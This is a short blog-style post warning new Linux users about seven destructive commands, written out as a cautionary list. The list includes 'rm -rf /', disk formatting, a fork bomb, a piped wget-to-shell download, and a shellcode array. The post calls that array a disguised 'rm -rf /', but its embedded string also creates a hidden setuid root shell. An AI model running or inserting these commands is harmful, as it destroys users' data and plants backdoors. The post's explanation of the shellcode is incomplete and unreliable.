7-deadly-linux-commands

You want to learn about Linux, start from learning what not to do. Here is one for the starting point.

So moral of the story is if someone asks you to do something and you dont know what that command will do, then dont do it. If your inner thing does not allow you not to do it, do it with all the care you can take. May be a backup and most importantly \”DONT USE ROOT LOGIN IF U DONT HAVE REASON TO USE IT\”. BTW there are couple of more articles on these kind of advices but the best way to save yourself is to educate yourself on the outcome of the command you are executing.

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:


rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(\”.text\”))) /* e.s.p
release */
= \”\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\”
\”\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\”
\”\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\”
\”\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\”
\”\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\”
\”\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\”
\”\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\”
\”cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;\”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn\’t exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.